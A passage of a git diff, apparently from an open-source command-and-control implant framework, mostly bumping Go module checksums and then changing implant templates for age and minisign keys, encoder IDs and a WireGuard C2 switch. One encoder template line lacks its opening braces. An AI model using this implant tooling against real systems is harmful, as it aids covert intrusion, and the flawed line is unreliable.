github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63/go.mod h1:eLL9Nub3yfAho7qB0MzZizFhTU2QkLeoVsWdHtDW264=
github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo=
@@ -401,8 +423,8 @@ go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9i
go.uber.org/zap v1.18.1/go.mod h1:xg/QME4nWcxGxrpdeYfq7UvYrLh66cuVKdrbD1XF/NI=
go4.org/mem v0.0.0-20220726221520-4f986261bf13 h1:CbZeCBZ0aZj8EfVgnqQcYZgf0lpZ3H9rmp5nkDTAst8=
go4.org/mem v0.0.0-20220726221520-4f986261bf13/go.mod h1:reUoABIJ9ikfM5sgtSF3Wushcza7+WeD01VB9Lirh3g=
go4.org/netipx v0.0.0-20230303233057-f1b76eb4bb35 h1:nJAwRlGWZZDOD+6wni9KVUNHMpHko/OnRwsrCYeAzPo=
go4.org/netipx v0.0.0-20230303233057-f1b76eb4bb35/go.mod h1:TQvodOM+hJTioNQJilmLXu08JNb8i+ccq418+KWu1/Y=
go4.org/netipx v0.0.0-20230728180743-ad4cb58a6516 h1:X66ZEoMN2SuaoI/dfZVYobB6E5zjZyyHUMWlCA7MgGE=
go4.org/netipx v0.0.0-20230728180743-ad4cb58a6516/go.mod h1:TQvodOM+hJTioNQJilmLXu08JNb8i+ccq418+KWu1/Y=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
@@ -411,12 +433,13 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.10.0 h1:LKqV2xt9+kDzSTfOhx4FrkEBcMrAgHSYgzywV9zcGmM=
golang.org/x/crypto v0.10.0/go.mod h1:o4eNf7Ede1fv+hwOwZsTHl9EsPFO6q6ZvYR8vYfY45I=
golang.org/x/crypto v0.14.0 h1:wBqGXzWJW6m1XrIKlAH0Hs1JJ7+9KBwnIO8v66Q9cHc=
golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1 h1:k/i9J1pBpvlfR+9QsetwPyERsqu1GIbi967PQMq3Ivc=
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1/go.mod h1:V1LtkGg67GoY2N1AnLN78QLrzxkLyJw7RJb1gzOOz9w=
golang.org/x/exp v0.0.0-20230725093048-515e97ebf090 h1:Di6/M8l0O2lCLc6VVRWhgCiApHV8MnQurBnFSHsQtNY=
golang.org/x/exp v0.0.0-20230725093048-515e97ebf090/go.mod h1:FXUEEKJgO7OQYeo8N01OfiKP8RXMtf6e8aTskBGqWdc=
golang.org/x/exp/typeparams v0.0.0-20230425010034-47ecfdc1ba53 h1:w/MOPdQ1IoYoDou3L55ZbTx2Nhn7JAhX1BBZor8qChU=
golang.org/x/exp/typeparams v0.0.0-20230425010034-47ecfdc1ba53/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
@@ -424,8 +447,8 @@ golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHl
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/mod v0.10.0 h1:lFO9qtOdlre5W1jxS3r/4szv2/6iXxScdzjoBMXNhYk=
golang.org/x/mod v0.10.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.11.0 h1:bUO06HqtnRcc/7l71XBe4WcqTZ+3AH1J59zWDDwLKgU=
golang.org/x/mod v0.11.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -440,10 +463,11 @@ golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qx
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.11.0 h1:Gi2tvZIJyBtO9SDr1q9h5hEQCp/4L2RQ+ar0qjx2oNU=
golang.org/x/net v0.11.0/go.mod h1:2L/ixqYpgIVXmeoSA/4Lu7BzTG4KIyPIryS4IsOd1oQ=
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.7.0 h1:qe6s0zUXlPX80/dITx3440hWZ7GwMwgDDyrSGTPJG/g=
golang.org/x/oauth2 v0.11.0 h1:vPL4xzxBM4niKCW6g9whtaWVXTJf1U5e4aZxxFx/gbU=
golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
@@ -451,8 +475,8 @@ golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJ
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.2.0 h1:PUR+T4wwASmuSTYdKjYHI5TD22Wy5ogLU5qZCOLxBrI=
golang.org/x/sync v0.2.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E=
golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -486,23 +510,24 @@ golang.org/x/sys v0.0.0-20220622161953-175b2fd9d664/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.9.0 h1:KS/R3tvhPqvJvwcKfnBHJwwthS11LRhmM5D59eEXa0s=
golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE=
golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.9.0 h1:GRRCnKYhdQrD8kfRAdQ6Zcw1P0OcELxGLKJvtjVMZ28=
golang.org/x/term v0.9.0/go.mod h1:M6DEAAIenWoTxdKrOltXcmDY3rSplQUkrvaDU5FcQyo=
golang.org/x/term v0.13.0 h1:bb+I9cTfFazGW51MZqBVmZy7+JEJMouUHTUSKVQLBek=
golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.10.0 h1:UpjohKhiEgNc0CSauXmwYftY1+LlaC75SJwh0SgCX58=
golang.org/x/text v0.10.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k=
golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4=
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
@@ -536,27 +561,29 @@ golang.zx2c4.com/wireguard/windows v0.5.3/go.mod h1:9TEe8TJmtwyQebdFwAkEWOPr3prr
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c=
google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20230410155749-daa745c078e1 h1:KpwkzHKEF7B9Zxg18WzOa7djJ+Ha5DzthMyZYQfEn2A=
google.golang.org/genproto v0.0.0-20230410155749-daa745c078e1/go.mod h1:nKE/iIaLqn2bQwXBg8f1g2Ylh6r5MN5CmZvuzZCgsCU=
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4=
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
google.golang.org/grpc v1.56.1 h1:z0dNfjIl0VpaZ9iSVjA6daGatAYwPGstTjt5vkRMFkQ=
google.golang.org/grpc v1.56.1/go.mod h1:I9bI3vqKfayGqPUAwGdOSu7kt6oIJLixfffKrpXqQ9s=
google.golang.org/grpc v1.59.0 h1:Z5Iec2pjwb+LEOqzpB2MR12/eKFhDPhuqW91O+4bwUk=
google.golang.org/grpc v1.59.0/go.mod h1:aUPDwccQo6OTjy7Hct4AfBPD1GptF4fyUjIkQ9YtF98=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8=
google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2wq9VY=
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw=
gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo=
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM=
@@ -570,6 +597,7 @@ gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLv
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
@@ -581,17 +609,20 @@ gorm.io/driver/postgres v1.5.2/go.mod h1:fmpX0m2I1PKuR7mKZiEluwrP3hbs+ps7JIGMUBp
gorm.io/driver/sqlite v1.5.2 h1:TpQ+/dqCY4uCigCFyrfnrJnrW9zjpelWVoEVNy5qJkc=
gorm.io/driver/sqlite v1.5.2/go.mod h1:qxAuCol+2r6PannQDpOP1FP6ag3mKi4esLnB/jHed+4=
gorm.io/gorm v1.25.1/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
gorm.io/gorm v1.25.2-0.20230530020048-26663ab9bf55 h1:sC1Xj4TYrLqg1n3AN10w871An7wJM0gzgcm8jkIkECQ=
gorm.io/gorm v1.25.2-0.20230530020048-26663ab9bf55/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
gorm.io/gorm v1.25.2 h1:gs1o6Vsa+oVKG/a9ElL3XgyGfghFfkKA2SInQaCyMho=
gorm.io/gorm v1.25.2/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
gvisor.dev/gvisor v0.0.0-20230504175454-7b0a1988a28f h1:8GE2MRjGiFmfpon8dekPI08jEuNMQzSffVHgdupcO4E=
gvisor.dev/gvisor v0.0.0-20230504175454-7b0a1988a28f/go.mod h1:pzr6sy8gDLfVmDAg8OYrlKvGEHw5C3PGTiBXBTCx76Q=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.4.3 h1:o/n5/K5gXqk8Gozvs2cnL0F2S1/g1vcGCAx2vETjITw=
honnef.co/go/tools v0.4.3/go.mod h1:36ZgoUOrqOk1GxwHhyryEkq8FQWkUO2xGuSMhUCcdvA=
howett.net/plist v1.0.0 h1:7CrbWYbPPO/PyNy38b2EB/+gYbjCe2DXBxgtOOZbSQM=
howett.net/plist v1.0.0/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g=
inet.af/peercred v0.0.0-20210906144145-0893ea02156a h1:qdkS8Q5/i10xU2ArJMKYhVa1DORzBfYS/qA2UK2jheg=
inet.af/peercred v0.0.0-20210906144145-0893ea02156a/go.mod h1:FjawnflS/udxX+SvpsMgZfdqx2aykOlkISeAsADi5IU=
inet.af/wf v0.0.0-20221017222439-36129f591884 h1:zg9snq3Cpy50lWuVqDYM7AIRVTtU50y5WXETMFohW/Q=
inet.af/wf v0.0.0-20221017222439-36129f591884/go.mod h1:bSAQ38BYbY68uwpasXOTZo22dKGy9SNvI6PZFeKomZE=
lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
@@ -599,7 +630,9 @@ modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=
modernc.org/libc v1.22.5 h1:91BNch/e5B0uPbJFgqbxXuOnxBQjlS//icfQEGmvyjE=
modernc.org/libc v1.22.5/go.mod h1:jj+Z7dTNX8fBScMVNRAYZ/jF91K8fdT2hYMThc3YjBY=
modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
@@ -613,11 +646,14 @@ modernc.org/sqlite v1.23.1/go.mod h1:OrDj17Mggn6MhE+iPbBNf7RGKODDE9NFT0f3EwDzJqk
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
modernc.org/tcl v1.15.2 h1:C4ybAYCGJw968e+Me18oW55kD/FexcHbqH2xak1ROSY=
modernc.org/tcl v1.15.2/go.mod h1:3+k/ZaEbKrC8ePv8zJWPtBSW0V7Gg9g8rkmhI1Kfs3c=
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY=
modernc.org/z v1.7.3/go.mod h1:Ipv4tsdxZRbQyLq9Q1M6gdbkxYzdlrciF2Hi/lS7nWE=
nhooyr.io/websocket v1.8.7 h1:usjR2uOr/zjjkVMy0lW+PPohFok7PCow5sDjLgX4P4g=
nhooyr.io/websocket v1.8.7/go.mod h1:B70DZP8IakI65RVQ51MsWP/8jndNma26DVA/nFSCgW0=
software.sslmate.com/src/go-pkcs12 v0.2.0 h1:nlFkj7bTysH6VkC4fGphtjXRbezREPgrHuJG20hBGPE=
tailscale.com v1.44.0 h1:MPos9n30kJvdyfL52045gVFyNg93K+bwgDsr8gqKq2o=
tailscale.com v1.44.0/go.mod h1:+iYwTdeHyVJuNDu42Zafwihq1Uqfh+pW7pRaY1GD328=
software.sslmate.com/src/go-pkcs12 v0.2.0/go.mod h1:23rNcYsMabIc1otwLpTkCCPwUq6kQsTyowttG/as0kQ=
tailscale.com v1.50.1 h1:q3lwxT2Y2ezc+FBCMHP8M14cgu1V0JiuLikojdsXuGU=
tailscale.com v1.50.1/go.mod h1:lBw7+Mw2d7rea3kefGjYWN8IJkB5dyaakMNMOinNGDo=
+5 -5
View File
@@ -30,15 +30,15 @@ import (
var (
// PeerAgePublicKey - The implant's age public key
PeerAgePublicKey = "{{.Config.PeerPublicKey}}"
PeerAgePublicKey = "{{.Build.PeerPublicKey}}"
// peerPrivateKey - The implant's age private key
peerAgePrivateKey = "{{.Config.PeerPrivateKey}}"
peerAgePrivateKey = "{{.Build.PeerPrivateKey}}"
// PublicKeySignature - The implant's age public key minisigned'd
PeerAgePublicKeySignature = `{{.Config.PeerPublicKeySignature}}`
PeerAgePublicKeySignature = `{{.Build.PeerPublicKeySignature}}`
// serverPublicKey - Server's ECC public key
serverAgePublicKey = "{{.Config.AgeServerPublicKey}}"
serverAgePublicKey = "{{.Build.AgeServerPublicKey}}"
// serverMinisignPublicKey - The server's minisign public key
serverMinisignPublicKey = `{{.Config.MinisignServerPublicKey}}`
serverMinisignPublicKey = `{{.Build.MinisignServerPublicKey}}`
// ErrInvalidPeerKey - Peer to peer key exchange failed
ErrInvalidPeerKey = errors.New("invalid peer key")
+8 -7
View File
@@ -24,6 +24,7 @@ import (
"encoding/binary"
"errors"
insecureRand "math/rand"
"strconv"
"strings"
// {{if .Config.Debug}}
@@ -43,13 +44,13 @@ var (
EncoderModulus = uint64(65537)
MaxN = uint64(9999999)
Base32EncoderID = uint64(65)
Base58EncoderID = uint64(43)
Base64EncoderID = uint64(131)
EnglishEncoderID = uint64(31)
GzipEncoderID = uint64(49)
HexEncoderID = uint64(92)
PNGEncoderID = uint64(22)
Base32EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base32EncoderID}}`, 10, 64)
Base58EncoderID, _ = strconv.ParseUint(`.Encoders.Base58EncoderID}}`, 10, 64)
Base64EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base64EncoderID}}`, 10, 64)
EnglishEncoderID, _ = strconv.ParseUint(`{{.Encoders.EnglishEncoderID}}`, 10, 64)
GzipEncoderID, _ = strconv.ParseUint(`{{.Encoders.GzipEncoderID}}`, 10, 64)
HexEncoderID, _ = strconv.ParseUint(`{{.Encoders.HexEncoderID}}`, 10, 64)
PNGEncoderID, _ = strconv.ParseUint(`{{.Encoders.PNGEncoderID}}`, 10, 64)
)
func init() {
+1 -1
View File
@@ -18,7 +18,7 @@ package forwarder
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.WGc2Enabled}}
